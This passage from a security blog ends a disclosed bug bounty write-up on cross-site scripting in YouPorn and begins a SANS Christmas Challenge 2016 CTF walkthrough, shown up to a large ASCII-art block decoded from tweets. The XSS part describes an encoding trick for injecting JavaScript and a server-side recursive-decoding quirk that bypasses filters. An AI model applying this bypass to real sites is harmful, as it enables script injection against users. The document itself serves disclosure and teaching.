But then I thought "Wait a second, maybe I can use the same trick to put > and < instead of a dash!"

And indeed, it worked. With the "HTML-encode-then-URL-encode" trick, we could insert arbitrary Javascript:

Obligatory pop-up:

We continued to do some tests afterwards, and we found out something weird about YouPorn's HTML rendering: no matter how many recursions of HTML-encoding we did on our payloads, they were still fully decoded server-side. This means that:

< became <
&lt; also became <
&amp;lt; also became <
etc.

Weird behaviour, but very interesting to bypass some filters!

Anyway, I still have to migrate my DNS servers.

Timeline (YYYY-MM-DD)

2017-02-06: Report sent to YouPorn
2017-02-06: Response from YouPorn saying that this bug was already reported, but that we could keep trying to find a working payload
2017-02-06: Working payload sent to YouPorn
2017-02-06: Report triaged
2017-02-10: Bounty paid, $250
2017-02-03: Bug fixed
2017-03-04: Request to disclose publicly the report
2017-03-28: Public disclosure of the report granted

SANS Christmas Challenge 2016

2017-01-05T00:00:00+01:00

This blog is beginning to look a lot like being exclusively about SANS Christmas Challenges write-ups. What can I say, they're so good! Anyway, let's roll for the 2016 edition of this marvelous Christmas Challenge.

Everything starts again with the Dosis children. As they're reminiscing on last year's Christmas, they hear Santa Claus landing on their roof, getting down the chimney, and starting leaving presents in their living room. Then, suddenly, they hear fighting sounds from downstairs. When they get down, everything is destroyed, as if people had been fighting. But no trace of Santa Claus, only a business card, which we can find in the Dosis' living room...

Table of contents

Part 1: A Most Curious Business Card
Part 2: Awesome Package Konveyance
Part 3: A Fresh-Baked Holiday Pi
Part 4: My Gosh... It's Full of Holes
Part 5: Discombobulated Audio
Epilogue: Bringing It All Home
Conclusion

Part 1: A Most Curious Business Card

In the Dosis' living room, we find the business card of a certain Santa W. Claus:

We now have Santa's Twitter an Instagram accounts. We also see that Santa has left his present bag behind. By going to it, we can see that it's in fact a portal to the North Pole. Here, we can ask around for information on Santa to his elves. We learn that they're running a bug bounty program called SantaGram. To participate into this bug bounty program, we must find the Android application.

By talking to Pepper Minstix, we get a link to a copy of the Dungeon video game. We now know what servers the elves are using to exchange files. Let's see if we can find a copy of SantaGram on this server.

If we look back at Santa's Instagram account, we can see a photo of one of the elves' desktop. If we zoom in, we can see that this elf was building a copy of the coveted SantaGram Android application:

With the name of the ZIP archive on the screenshot, we can download the SantaGram application at this URL.

You can download the ZIP file here (sha256: 51c3d144ffb25d06316bdd309a5e8a24cadb7592aace91036bd61f2f0c7440e5).

Unfortunately, the archive is password protected:

$ unzip SantaGram_v4.2.zip
Archive:  SantaGram_v4.2.zip
[SantaGram_v4.2.zip] SantaGram_4.2.apk password:

Let's take a look at Santa's tweets, to see if we can find a clue:

Hmm, just a bunch of nonsense. Or is it? If we get the content of every tweet, and paste them in a text file, we get the following string:

SANTAELFHOHOHOCHRISTMASSANTACHRISTMASPEACEONEARTHCHRISTMASELFSANTAELFHOHOHO
GOODWILLTOWARDSMENSANTAPEACEONEARTHHOHOHOJOYSANTAGOODWILLTOWARDSMENJOYJOYQQ
GOODWILLTOWARDSMENGOODWILLTOWARDSMENJOYHOHOHOJOYELFELFPEACEONEARTHJOYHOHOHO
GOODWILLTOWARDSMENSANTACHRISTMASCHRISTMASPEACEONEARTHNORTHPOLEHOHOHOELFELFQ
JOYNORTHPOLECHRISTMASPEACEONEARTHNORTHPOLEJOYGOODWILLTOWARDSMENELFCHRISTMAS
CHRISTMASGOODWILLTOWARDSMENELFHOHOHOCHRISTMASPEACEONEARTHPEACEONEARTHJOYELF
HOHOHOGOODWILLTOWARDSMENNORTHPOLEGOODWILLTOWARDSMENSANTAPEACEONEARTHELFELFQ
GOODWILLTOWARDSMENP???????????????????????????????4CHRISTMASJOYELFELFSANTAQ
NORTHPOLEHOHOHOELFf...............................]PEACEONEARTHHOHOHOSANTAQ
SANTASANTAJOYELFQQf...............................]PEACEONEARTHCHRISTMASELF
CHRISTMASELFELFJOYf...............................]HOHOHOSANTAHOHOHOELFJOYQ
SANTASANTAJOYJOYQQf...............................]GOODWILLTOWARDSMENHOHOHO
NORTHPOLEELFELFELFf...............................]PEACEONEARTHHOHOHOSANTAQ
NORTHPOLECHRISTMASf...............................]PEACEONEARTHCHRISTMASJOY
PEACEONEARTHSANTAQf...............................]PEACEONEARTHNORTHPOLEELF
JOYCHRISTMASSANTAQf...............................]CHRISTMASHOHOHOCHRISTMAS
NORTHPOLEHOHOHOJOYf...............................]PEACEONEARTHPEACEONEARTH
SANTAELFELFJOYJOYQf.......aaaaaa/....._aaaaa......]PEACEONEARTHNORTHPOLEELF
GOODWILLTOWARDSMENf.......QQWQWQf.....]ELFWQ......]HOHOHOHOHOHOCHRISTMASJOY
NORTHPOLESANTAJOYQf.......HOHOHOf.....]JOYQQ......]CHRISTMASCHRISTMASHOHOHO
NORTHPOLEELFJOYJOYf.......SANTAQf.....]JOYQQ......]NORTHPOLEPEACEONEARTHELF
SANTAPEACEONEARTHQf.......HOHOHOf.....]SANTA......]PEACEONEARTHCHRISTMASELF
ELFSANTASANTAJOYQQf.......HOHOHOf.....]JOYQW......]CHRISTMASPEACEONEARTHJOY
JOYHOHOHONORTHPOLEf.......SANTAQ[.....)ELFQE......]PEACEONEARTHPEACEONEARTH
HOHOHOCHRISTMASJOYf.......$WJOYQ(......$WQQ(......]GOODWILLTOWARDSMENSANTAQ
JOYPEACEONEARTHELFf.......)JOYQ@........??'.......]SANTAPEACEONEARTHHOHOHOQ
JOYJOYPEACEONEARTHL........?$QV'..................]CHRISTMASJOYNORTHPOLEJOY
SANTAJOYCHRISTMASQk...............................jGOODWILLTOWARDSMENJOYJOY
GOODWILLTOWARDSMENW...............................jJOYNORTHPOLEJOYELFSANTAQ
HOHOHOSANTAJOYELFQQ...............................GOODWILLTOWARDSMENHOHOHOQ
CHRISTMASSANTASANTA;................;............=JOYNORTHPOLEPEACEONEARTHQ
GOODWILLTOWARDSMENQL...............)L............jHOHOHOHOHOHOCHRISTMASELFQ
CHRISTMASHOHOHOELFQQ...............dQ,..........<GOODWILLTOWARDSMENHOHOHOQQ
GOODWILLTOWARDSMENQQL.............<QQm,........_HOHOHOHOHOHOCHRISTMASELFELF
SANTACHRISTMASELFELFQc..........._mJOYQc......aPEACEONEARTHCHRISTMASSANTAQQ
CHRISTMASPEACEONEARTHQw........._mSANTAWmwaawGOODWILLTOWARDSMENSANTAJOYELFQ
PEACEONEARTHELFSANTAELFQw,,..__yHOHOHOELFQWQQWGOODWILLTOWARDSMENHOHOHOSANTA
ELFHOHOHONORTHPOLEELFJOYWGOODWILLTOWARDSMENCHRISTMASSANTACHRISTMASJOYSANTAQ
ELFELFHOHOHOHOHOHOHOHOHONORTHPOLEJOYHOHOHOGOODWILLTOWARDSMENELFELFELFSANTAQ
ELFHOHOHOJOYPEACEONEARTHPEACEONEARTHJOYGOODWILLTOWARDSMENJOYELFPEACEONEARTH
GOODWILLTOWARDSMENJOYGOODWILLTOWARDSMENGOODWILLTOWARDSMENSANTAELFJOYJOYJOYQ
ELFSANTAPEACEONEARTHJOYJOYQQDT????????????????????4NORTHPOLEPEACEONEARTHELF
NORTHPOLENORTHPOLESANTAQWT^.......................]NORTHPOLEELFHOHOHOJOYELF
HOHOHOHOHOHOCHRISTMASQQP`.........................]JOYGOODWILLTOWARDSMENELF
ELFPEACEONEARTHSANTAQQ(...........................]HOHOHOSANTACHRISTMASJOYQ
JOYJOYCHRISTMASELFJOY(............................]GOODWILLTOWARDSMENHOHOHO
CHRISTMASELFELFELFQQf.............................]HOHOHONORTHPOLEJOYELFJOY
SANTACHRISTMASJOYQQD..............................]HOHOHOHOHOHOSANTASANTAQQ
HOHOHOELFSANTAELFQQ(..............................]GOODWILLTOWARDSMENHOHOHO
GOODWILLTOWARDSMENW...............................]NORTHPOLEHOHOHOHOHOHOJOY
CHRISTMASHOHOHOJOYF...............................]GOODWILLTOWARDSMENSANTAQ
CHRISTMASCHRISTMAS[.........._aaaaaaaaaaaaaaaaaaaajPEACEONEARTHELFNORTHPOLE
SANTANORTHPOLEELFQ(........jJOYQWQWWQWWQWWWWWWWWWGOODWILLTOWARDSMENHOHOHOQQ
ELFPEACEONEARTHELF;.......jWWSANTAGOODWILLTOWARDSMENSANTAGOODWILLTOWARDSMEN
ELFJOYNORTHPOLEJOY`.......QWGOODWILLTOWARDSMENGOODWILLTOWARDSMENCHRISTMASQQ
PEACEONEARTHJOYELF.......]WPEACEONEARTHCHRISTMASNORTHPOLEPEACEONEARTHHOHOHO
CHRISTMASJOYHOHOHO.......]HOHOHOELFGOODWILLTOWARDSMENPEACEONEARTHCHRISTMASQ
JOYCHRISTMASJOYELF.......]PEACEONEARTHCHRISTMASGOODWILLTOWARDSMENELFHOHOHOQ
JOYPEACEONEARTHJOY.......)WGOODWILLTOWARDSMENSANTANORTHPOLEJOYPEACEONEARTHQ
CHRISTMASHOHOHOELF........$WPEACEONEARTHNORTHPOLESANTAPEACEONEARTHSANTAJOYQ
JOYHOHOHOELFELFJOY;.......-QWCHRISTMASGOODWILLTOWARDSMENPEACEONEARTHJOYELFQ
HOHOHOCHRISTMASJOY(........-?$QWJOYCHRISTMASSANTACHRISTMASCHRISTMASHOHOHOQQ
ELFJOYELFCHRISTMASf...............................]PEACEONEARTHNORTHPOLEJOY
ELFHOHOHOSANTAELFQh...............................]GOODWILLTOWARDSMENHOHOHO
SANTACHRISTMASELFQQ,..............................]PEACEONEARTHPEACEONEARTH
GOODWILLTOWARDSMENQL..............................]HOHOHOELFCHRISTMASSANTAQ
GOODWILLTOWARDSMENQQ,.............................]PEACEONEARTHELFHOHOHOJOY
NORTHPOLESANTAHOHOHOm.............................]HOHOHOGOODWILLTOWARDSMEN
PEACEONEARTHCHRISTMASg............................]ELFHOHOHOSANTANORTHPOLEQ
NORTHPOLECHRISTMASJOYQm,..........................]NORTHPOLECHRISTMASSANTAQ
SANTASANTACHRISTMASSANTAw,........................]GOODWILLTOWARDSMENSANTAQ
GOODWILLTOWARDSMENHOHOHOWQga,,....................]PEACEONEARTHPEACEONEARTH
PEACEONEARTHJOYCHRISTMASELFWCHRISTMASGOODWILLTOWARDSMENJOYPEACEONEARTHSANTA
PEACEONEARTHPEACEONEARTHCHRISTMASJOYSANTAPEACEONEARTHCHRISTMASELFHOHOHOELFQ
GOODWILLTOWARDSMENNORTHPOLECHRISTMASPEACEONEARTHHOHOHOELFJOYNORTHPOLEELFELF
JOYGOODWILLTOWARDSMENSANTACHRISTMASJOYPEACEONEARTHHOHOHOELFCHRISTMASHOHOHOQ
HOHOHOCHRISTMASHOHOHOSANTANORTHPOLEPEACEONEARTHJOYPEACEONEARTHJOYJOYHOHOHOQ
JOYELFGOODWILLTOWARDSMENSANTAQBTT???TT$SANTASANTAPEACEONEARTHNORTHPOLEJOYQQ
SANTACHRISTMASCHRISTMASJOYWP"`.........-"9NORTHPOLEPEACEONEARTHCHRISTMASELF
SANTAELFELFELFSANTAJOYQQWP`...............-4JOYSANTANORTHPOLEJOYSANTASANTAQ
ELFELFELFHOHOHOHOHOHOQQ@'..................."$CHRISTMASELFSANTANORTHPOLEELF
ELFCHRISTMASSANTAELFQQP`.....................-$WELFWPEACEONEARTHSANTASANTAQ
SANTANORTHPOLEJOYELFQE........................-$SANTAELFWGOODWILLTOWARDSMEN
NORTHPOLEELFELFELFQQ@`.........................-QWPEACEONEARTHPEACEONEARTHQ
PEACEONEARTHJOYJOYQQ(...........................]CHRISTMASHOHOHOELFSANTAJOY
HOHOHOCHRISTMASELFQP.............................$NORTHPOLEJOYQWJOYWJOYWELF
SANTACHRISTMASJOYQQ(.............................]WSANTAWPEACEONEARTHJOYELF
HOHOHOSANTAJOYELFQW............_aaaas,............QWCHRISTMASQWHOHOHOSANTAQ
SANTAPEACEONEARTHQf........._wELFWWWWQQw,.........3ELFHOHOHOJOYJOYSANTAELFQ
CHRISTMASSANTAELFQ[........<HOHOHOELFELFQc........]CHRISTMASPEACEONEARTHELF
CHRISTMASCHRISTMAS(......._PEACEONEARTHJOY/.......)NORTHPOLESANTAELFQWELFWQ
PEACEONEARTHSANTAQ`.......dNORTHPOLEHOHOHOm.......:NORTHPOLEWCHRISTMASJOYQQ
PEACEONEARTHELFELF........SANTANORTHPOLEJOY;.......SANTASANTAJOYQWSANTAJOYQ
PEACEONEARTHSANTAQ.......]ELFSANTAJOYJOYELF[.......GOODWILLTOWARDSMENSANTAQ
GOODWILLTOWARDSMEN.......]ELFNORTHPOLEJOYQQf.......ELFSANTAJOYHOHOHOQQWELFQ
GOODWILLTOWARDSMEN.......]ELF.......]JOYELF[.......PEACEONEARTHPEACEONEARTH
HOHOHOJOYNORTHPOLE.......]JOY.......]SANTAQ'.......SANTASANTAQQWNORTHPOLEQQ
CHRISTMASNORTHPOLE:......)WQQ.......]SANTAD........NORTHPOLESANTAELFWELFJOY
ELFCHRISTMASSANTAQ;......-JOY.......]ELFQW'.......:PEACEONEARTHCHRISTMASJOY
CHRISTMASSANTAELFQ[.......WQQ.......]ELFD'........=HOHOHOGOODWILLTOWARDSMEN
ELFELFSANTAJOYELFQL.......]QQ.......]ELF..........]PEACEONEARTHQWCHRISTMASQ
NORTHPOLESANTAELFQm.......+QQ.......]ELF;.........jWNORTHPOLENORTHPOLEELFWQ
JOYELFHOHOHOSANTAQQ.................]JOY[.........mCHRISTMASCHRISTMASQQWELF
NORTHPOLENORTHPOLEQ[................]JOYL........_PEACEONEARTHSANTASANTAELF
SANTANORTHPOLEJOYQQm................]ELFk........dHOHOHOPEACEONEARTHQQWJOYQ
PEACEONEARTHHOHOHOQQc...............]JOYm.......]PEACEONEARTHHOHOHOWHOHOHOQ
CHRISTMASHOHOHOJOYQQm...............]ELFQ......_GOODWILLTOWARDSMENNORTHPOLE
JOYELFNORTHPOLEJOYELFL..............]JOYQ;....<SANTAHOHOHONORTHPOLEELFSANTA
PEACEONEARTHELFHOHOHOQ,.............]JOYQ[...wPEACEONEARTHELFSANTAWHOHOHOQQ
CHRISTMASELFELFELFJOYQ6.............]ELFQL_wPEACEONEARTHHOHOHOCHRISTMASELFQ
HOHOHOJOYNORTHPOLEQWELFwaaaaaaaaaaaajPEACEONEARTHGOODWILLTOWARDSMENSANTAQWQ
CHRISTMASELFPEACEONEARTHWWWQWWQWWWWELFELFSANTANORTHPOLESANTAELFQQWJOYHOHOHO
CHRISTMASNORTHPOLEHOHOHOHOHOHOCHRISTMASGOODWILLTOWARDSMENNORTHPOLEHOHOHOWQQ
GOODWILLTOWARDSMENNORTHPOLENORTHPOLESANTANORTHPOLEJOYSANTAELFELFWCHRISTMASQ
GOODWILLTOWARDSMENHOHOHOHOHOHONORTHPOLEELFSANTAELFNORTHPOLEPEACEONEARTHELFQ
PEACEONEARTHELFELFQWPEACEONEARTHPEACEONEARTHHOHOHOPEACEONEARTHWNORTHPOLEWQQ
ELFPEACEONEARTHCHRISTMASELFPEACEONEARTHJOYNORTHPOLEGOODWILLTOWARDSMENSANTAQ
SANTASANTASANTAJOYELFJOYWGOODWILLTOWARDSMENPEACEONEARTHSANTAWPEACEONEARTHQQ
PEACEONEARTHSANTAJOYGOODWILLTOWARDSMENSANTACHRISTMASELFCHRISTMASELFJOYQWELF
CHRISTMASCHRISTMASELFELFHOHOHOWJOYWNORTHPOLESANTACHRISTMASWSANTAJOYQQWJOYQQ
ELFJOYSANTAJOYJOYQQWJOYWPEACEONEARTHNORTHPOLEHOHOHOHOHOHONORTHPOLEELFJOYELF
ELFNORTHPOLEJOYSANTANORTHPOLECHRISTMASQQWPEACEONEARTHJOYQWHOHOHOJOYWJOYELFQ
NORTHPOLECHRISTMASHOHOHOSANTAWPEACEONEARTHGOODWILLTOWARDSMENCHRISTMASHOHOHO
GOODWILLTOWARDSMENSANTACHRISTMASSANTAQQWELFHOHOHOSANTAQQWJOYSANTAQWSANTAJOY
JOYNORTHPOLEJOYPEACEONEARTHWELFELFQQWNORTHPOLEQWHOHOHONORTHPOLEELFELFHOHOHO
CHRISTMASSANTASANTAWJOYWCHRISTMASHOHOHONORTHPOLEJOYQQWHOHOHOSANTAWNORTHPOLE
PEACEONEARTHSANTASANTAPEACEONEARTHNORTHPOLEJOYJOYJOYELFCHRISTMASHOHOHOSANTA
SANTASANTACHRISTMASJOYJOYJOYELFJOYQWHOHOHOJOYQWPEACEONEARTHELFQQWCHRISTMASQ
GOODWILLTOWARDSMENELFPEACEONEARTHHOHOHOCHRISTMASELFQWHOHOHOWCHRISTMASHOHOHO
CHRISTMASELFELFPEACEONEARTHWELFQQWHOHOHOQQWCHRISTMASELFJOYNORTHPOLEHOHOHOQQ
SANTAPEACEONEARTHQQWJOYWCHRISTMASHOHOHOPEACEONEARTHGOODWILLTOWARDSMENJOYQWQ
JOYJOYHOHOHOELFELFP???????????????????????????????4SANTAQQWPEACEONEARTHELFQ
NORTHPOLENORTHPOLEf...............................]PEACEONEARTHQQWHOHOHOWQQ
CHRISTMASJOYHOHOHOf...............................]ELFGOODWILLTOWARDSMENELF
NORTHPOLEELFELFELFf...............................]PEACEONEARTHHOHOHOQQWELF
NORTHPOLEHOHOHOELFf...............................]CHRISTMASJOYQWSANTASANTA
SANTAJOYNORTHPOLEQf...............................]SANTAHOHOHOWJOYCHRISTMAS
GOODWILLTOWARDSMENf...............................]PEACEONEARTHHOHOHOQWJOYQ
ELFPEACEONEARTHELFf...............................]GOODWILLTOWARDSMENHOHOHO
JOYCHRISTMASELFELFf...............................]GOODWILLTOWARDSMENSANTAQ
GOODWILLTOWARDSMENf...............................]NORTHPOLEPEACEONEARTHJOY
ELFSANTAHOHOHOELFQf.......aaaaaa/....._aaaaa......]GOODWILLTOWARDSMENWELFQQ
NORTHPOLEHOHOHOELFf.......QWWWWQf.....]QQWWQ......]HOHOHOHOHOHOQQWJOYSANTAQ
SANTANORTHPOLEJOYQf.......HOHOHOf.....]JOYQQ......]HOHOHOHOHOHONORTHPOLEELF
NORTHPOLEJOYJOYELFf.......JOYELFf.....]SANTA......]NORTHPOLEHOHOHONORTHPOLE
SANTASANTASANTAELFf.......JOYELFf.....]SANTA......]NORTHPOLENORTHPOLEELFELF
GOODWILLTOWARDSMENf.......JOYJOYf.....]JOYQW......]PEACEONEARTHHOHOHOQWELFQ
GOODWILLTOWARDSMENf.......HOHOHO[.....)JOYQE......]HOHOHOELFHOHOHOQQWJOYJOY
JOYNORTHPOLEELFELFf.......$WELFQ(......$WQQ(......]PEACEONEARTHNORTHPOLEELF
NORTHPOLEJOYELFJOYf.......)ELFQ@........??'.......]CHRISTMASPEACEONEARTHJOY
SANTAPEACEONEARTHQL........?$QV'..................]HOHOHOGOODWILLTOWARDSMEN
JOYELFPEACEONEARTHk...............................jJOYSANTACHRISTMASWJOYJOY
SANTAPEACEONEARTHQW...............................jSANTAGOODWILLTOWARDSMENQ
CHRISTMASSANTAELFQQ...............................HOHOHOPEACEONEARTHSANTAQQ
ELFCHRISTMASELFELFQ;................;............=NORTHPOLENORTHPOLEJOYELFQ
NORTHPOLEJOYSANTAQQ[...............)L............jPEACEONEARTHJOYHOHOHOQQWQ
CHRISTMASHOHOHOJOYQm...............dQ,..........<GOODWILLTOWARDSMENQWSANTAQ
SANTACHRISTMASSANTAQL.............<QQm,........_JOYELFGOODWILLTOWARDSMENELF
HOHOHOSANTASANTAJOYQQc..........._mELFQc......aGOODWILLTOWARDSMENSANTAJOYWQ
CHRISTMASHOHOHOJOYJOYQw........._mELFQQWmwaawGOODWILLTOWARDSMENNORTHPOLEELF
NORTHPOLEELFPEACEONEARTHw,,..__yELFJOYJOYQWQWQWGOODWILLTOWARDSMENCHRISTMASQ
JOYNORTHPOLEELFNORTHPOLEWGOODWILLTOWARDSMENNORTHPOLEJOYJOYJOYSANTAQQWELFWQQ
JOYSANTAELFHOHOHOQQWNORTHPOLENORTHPOLEGOODWILLTOWARDSMENSANTASANTAHOHOHOJOY
ELFHOHOHOCHRISTMASCHRISTMASELFPEACEONEARTHHOHOHOELFCHRISTMASHOHOHOELFJOYELF
JOYPEACEONEARTHJOYNORTHPOLEGOODWILLTOWARDSMENHOHOHONORTHPOLEHOHOHOELFELFJOY
HOHOHOPEACEONEARTHELFJOYJOYQV?"~....--"?$CHRISTMASELFWPEACEONEARTHQWHOHOHOQ
CHRISTMASCHRISTMASJOYELFWW?`.............-?CHRISTMASHOHOHOQWELFWSANTAJOYWQQ
SANTAPEACEONEARTHQQWELFQP`.................-4HOHOHOWCHRISTMASNORTHPOLESANTA
CHRISTMASNORTHPOLEJOYQW(.....................)WGOODWILLTOWARDSMENNORTHPOLEQ
GOODWILLTOWARDSMENJOYW'.......................)WSANTAJOYQQWNORTHPOLEHOHOHOQ
JOYNORTHPOLEHOHOHOJOY(.........................)PEACEONEARTHSANTAELFWJOYWQQ
GOODWILLTOWARDSMENQQf...........................4PEACEONEARTHELFQWCHRISTMAS
NORTHPOLEHOHOHOELFQW`...........................-HOHOHOWCHRISTMASCHRISTMASQ
GOODWILLTOWARDSMENQf.............................]JOYJOYSANTAELFWCHRISTMASQ
HOHOHONORTHPOLEJOYQ`.............................-HOHOHOELFQWCHRISTMASSANTA
ELFELFELFJOYHOHOHOE.........._wwQWQQmga,..........$GOODWILLTOWARDSMENJOYWQQ
NORTHPOLECHRISTMASf........_yJOYWSANTAQQg,........]PEACEONEARTHPEACEONEARTH
SANTANORTHPOLEJOYQ[......._ELFELFSANTAELFQ,.......]CHRISTMASSANTASANTAWJOYQ
CHRISTMASCHRISTMAS;.......dPEACEONEARTHJOYk.......=JOYJOYHOHOHOQWJOYWHOHOHO
ELFNORTHPOLEELFELF......._HOHOHOCHRISTMASQQ,.......NORTHPOLEQWSANTASANTAELF
PEACEONEARTHJOYJOY.......]PEACEONEARTHJOYQQ[.......GOODWILLTOWARDSMENELFJOY
HOHOHOELFNORTHPOLE.......]PEACEONEARTHSANTAf.......NORTHPOLEHOHOHOHOHOHOELF
ELFSANTAELFHOHOHOQ.......]NORTHPOLEHOHOHOQQ[.......GOODWILLTOWARDSMENHOHOHO
CHRISTMASCHRISTMAS.......)PEACEONEARTHJOYQQ(.......HOHOHOHOHOHOSANTAWHOHOHO
SANTASANTAELFJOYQQ........HOHOHOCHRISTMASQ@.......:NORTHPOLEELFQWSANTASANTA
CHRISTMASCHRISTMAS;.......]PEACEONEARTHELF[.......<HOHOHOSANTANORTHPOLEQQWQ
HOHOHOPEACEONEARTH[........4HOHOHOJOYELFQf........]PEACEONEARTHHOHOHOHOHOHO
CHRISTMASCHRISTMASL........."HWJOYSANTAD^.........jNORTHPOLENORTHPOLEHOHOHO
GOODWILLTOWARDSMENm............"!???!"`...........NORTHPOLEHOHOHOWJOYQWELFQ
CHRISTMASJOYELFELFQ/.............................]WNORTHPOLECHRISTMASHOHOHO
SANTAJOYCHRISTMASQQk.............................dPEACEONEARTHELFELFHOHOHOQ
SANTAPEACEONEARTHJOY/...........................<NORTHPOLECHRISTMASHOHOHOQQ
ELFSANTASANTASANTAQQm...........................mJOYELFSANTAPEACEONEARTHELF
CHRISTMASCHRISTMASELFk.........................jGOODWILLTOWARDSMENQWJOYWELF
ELFJOYCHRISTMASJOYJOYQL.......................jNORTHPOLENORTHPOLEJOYJOYJOYQ
ELFELFJOYSANTAJOYELFELFg,..................._yGOODWILLTOWARDSMENQQWSANTAELF
PEACEONEARTHJOYELFQWSANTAc.................aQWCHRISTMASHOHOHOSANTAJOYHOHOHO
SANTAJOYJOYPEACEONEARTHELFQa,..........._wQWWHOHOHOSANTAJOYELFQQWJOYSANTAQQ
HOHOHOELFJOYPEACEONEARTHQQWJOYmwwaaaawyJOYWCHRISTMASHOHOHOPEACEONEARTHJOYWQ
ELFCHRISTMASSANTASANTASANTAJOYQQWWWWQWGOODWILLTOWARDSMENJOYELFQWCHRISTMASQQ
SANTAHOHOHOELFPEACEONEARTHGOODWILLTOWARDSMENJOYPEACEONEARTHSANTASANTAJOYWQQ
HOHOHOJOYELFJOYELFQWGOODWILLTOWARDSMENPEACEONEARTHGOODWILLTOWARDSMENELFELFQ
NORTHPOLEJOYJOYELFHOHOHOWPEACEONEARTHNORTHPOLECHRISTMASHOHOHOQWELFJOYQQWJOY
GOODWILLTOWARDSMENSANTAJOYNORTHPOLENORTHPOLEHOHOHOHOHOHOGOODWILLTOWARDSMENQ
CHRISTMASJOYSANTANORTHPOLEV?"-....................]GOODWILLTOWARDSMENQWJOYQ
GOODWILLTOWARDSMENSANTAW?`........................]GOODWILLTOWARDSMENSANTAQ
HOHOHOELFJOYJOYELFQWQQD'..........................]HOHOHONORTHPOLEQWHOHOHOQ
PEACEONEARTHHOHOHOJOYP`...........................]SANTAJOYELFWHOHOHOHOHOHO
PEACEONEARTHHOHOHOQQD`............................]JOYPEACEONEARTHSANTAELFQ
PEACEONEARTHHOHOHOQW'.............................]CHRISTMASJOYELFQWHOHOHOQ
ELFPEACEONEARTHELFQf..............................]PEACEONEARTHELFNORTHPOLE
SANTACHRISTMASJOYQQ`..............................]NORTHPOLEQQWNORTHPOLEQWQ
CHRISTMASHOHOHOELFE...............................]SANTAGOODWILLTOWARDSMENQ
GOODWILLTOWARDSMENf...............................]GOODWILLTOWARDSMENSANTAQ
ELFCHRISTMASELFJOY[.........amWNORTHPOLEGOODWILLTOWARDSMENJOYJOYJOYQWELFWQQ
PEACEONEARTHJOYJOY(......._QQWHOHOHOWJOYWPEACEONEARTHPEACEONEARTHNORTHPOLEQ
NORTHPOLEELFELFJOY`.......mSANTAQQWCHRISTMASQQWGOODWILLTOWARDSMENQQWHOHOHOQ
JOYSANTANORTHPOLEQ`......=CHRISTMASPEACEONEARTHSANTANORTHPOLENORTHPOLESANTA
NORTHPOLESANTAJOYQ.......]NORTHPOLEPEACEONEARTHELFHOHOHOGOODWILLTOWARDSMENQ
ELFNORTHPOLESANTAQ.......]GOODWILLTOWARDSMENQWELFJOYPEACEONEARTHCHRISTMASQQ
HOHOHONORTHPOLEJOY.......]GOODWILLTOWARDSMENJOYJOYQWPEACEONEARTHJOYWSANTAWQ
PEACEONEARTHJOYELF.......-QWSANTAELFWSANTAWHOHOHOPEACEONEARTHCHRISTMASELFQQ
CHRISTMASSANTAJOYQ........]SANTASANTASANTAGOODWILLTOWARDSMENPEACEONEARTHELF
ELFHOHOHOCHRISTMAS;........?ELFJOYPEACEONEARTHELFQWGOODWILLTOWARDSMENHOHOHO
GOODWILLTOWARDSMEN[.........-"????????????????????4ELFCHRISTMASHOHOHOQQWELF
SANTASANTAJOYSANTAL...............................]HOHOHOQWJOYELFQQWJOYJOYQ
NORTHPOLECHRISTMASQ...............................]NORTHPOLEELFQWJOYJOYELFQ
SANTANORTHPOLEELFQWc..............................]GOODWILLTOWARDSMENSANTAQ
JOYSANTACHRISTMASQQm..............................]ELFNORTHPOLECHRISTMASELF
CHRISTMASSANTASANTAQL.............................]PEACEONEARTHWJOYJOYQQWQQ
ELFNORTHPOLEHOHOHOJOYc............................]SANTACHRISTMASJOYELFJOYQ
SANTAELFHOHOHOJOYJOYQQc...........................]PEACEONEARTHSANTAQQWJOYQ
GOODWILLTOWARDSMENSANTAw,.........................]NORTHPOLEHOHOHONORTHPOLE
NORTHPOLENORTHPOLEQWSANTAa,.......................]PEACEONEARTHWSANTAWJOYQQ
SANTACHRISTMASHOHOHOELFELFQQgwaaaaaaaaaaaaaaaaaaaajCHRISTMASJOYPEACEONEARTH
SANTAHOHOHOPEACEONEARTHSANTAQWWWWWWWWWWWWWWWWWWWWHOHOHOELFJOYCHRISTMASELFQQ
NORTHPOLESANTASANTANORTHPOLESANTAPEACEONEARTHCHRISTMASELFHOHOHOELFJOYWJOYQQ
JOYELFJOYNORTHPOLEPEACEONEARTHJOYGOODWILLTOWARDSMENPEACEONEARTHELFELFELFELF
SANTAJOYCHRISTMASQQWELFWGOODWILLTOWARDSMENSANTANORTHPOLENORTHPOLEJOYWSANTAQ
JOYPEACEONEARTHSANTAGOODWILLTOWARDSMENJOYPEACEONEARTHJOYELFJOYCHRISTMASJOYQ
PEACEONEARTHJOYHOHOHOJOYHOHOHONORTHPOLEHOHOHOGOODWILLTOWARDSMENPEACEONEARTH
SANTASANTAELFJOYQQP???????????????????????????????4PEACEONEARTHJOYQWSANTAQQ
ELFELFHOHOHOHOHOHOf...............................]GOODWILLTOWARDSMENJOYELF
SANTAJOYELFELFELFQf...............................]CHRISTMASNORTHPOLESANTAQ
SANTAHOHOHOELFJOYQf...............................]GOODWILLTOWARDSMENELFELF
GOODWILLTOWARDSMENf...............................]CHRISTMASCHRISTMASJOYQWQ
JOYSANTAELFJOYELFQf...............................]PEACEONEARTHSANTAWHOHOHO
CHRISTMASCHRISTMASf...............................]GOODWILLTOWARDSMENSANTAQ
PEACEONEARTHSANTAQf...............................]HOHOHOHOHOHOJOYWHOHOHOWQ
JOYELFHOHOHOJOYELFf...............................]GOODWILLTOWARDSMENHOHOHO
SANTANORTHPOLEJOYQf...............................]PEACEONEARTHNORTHPOLEELF
HOHOHOGOODWILLTOWARDSMENSANTAWJOYQ@'.............sPEACEONEARTHELFWCHRISTMAS
GOODWILLTOWARDSMENHOHOHOCHRISTMASF............._yWWPEACEONEARTHELFELFJOYWQQ
SANTAGOODWILLTOWARDSMENQQWELFQQ@'.............sQWGOODWILLTOWARDSMENJOYJOYQQ
NORTHPOLECHRISTMASNORTHPOLEQQWF............._yQWELFELFELFSANTASANTAHOHOHOQQ
NORTHPOLECHRISTMASELFQQWELFQ@'.............aWCHRISTMASELFPEACEONEARTHQQWELF
SANTAHOHOHOHOHOHOJOYWSANTAQ?............._yQWPEACEONEARTHCHRISTMASQQWJOYJOY
CHRISTMASSANTACHRISTMASQQ@'.............aJOYNORTHPOLESANTAELFHOHOHOSANTAELF
SANTACHRISTMASNORTHPOLEW?............._yCHRISTMASCHRISTMASCHRISTMASHOHOHOQQ
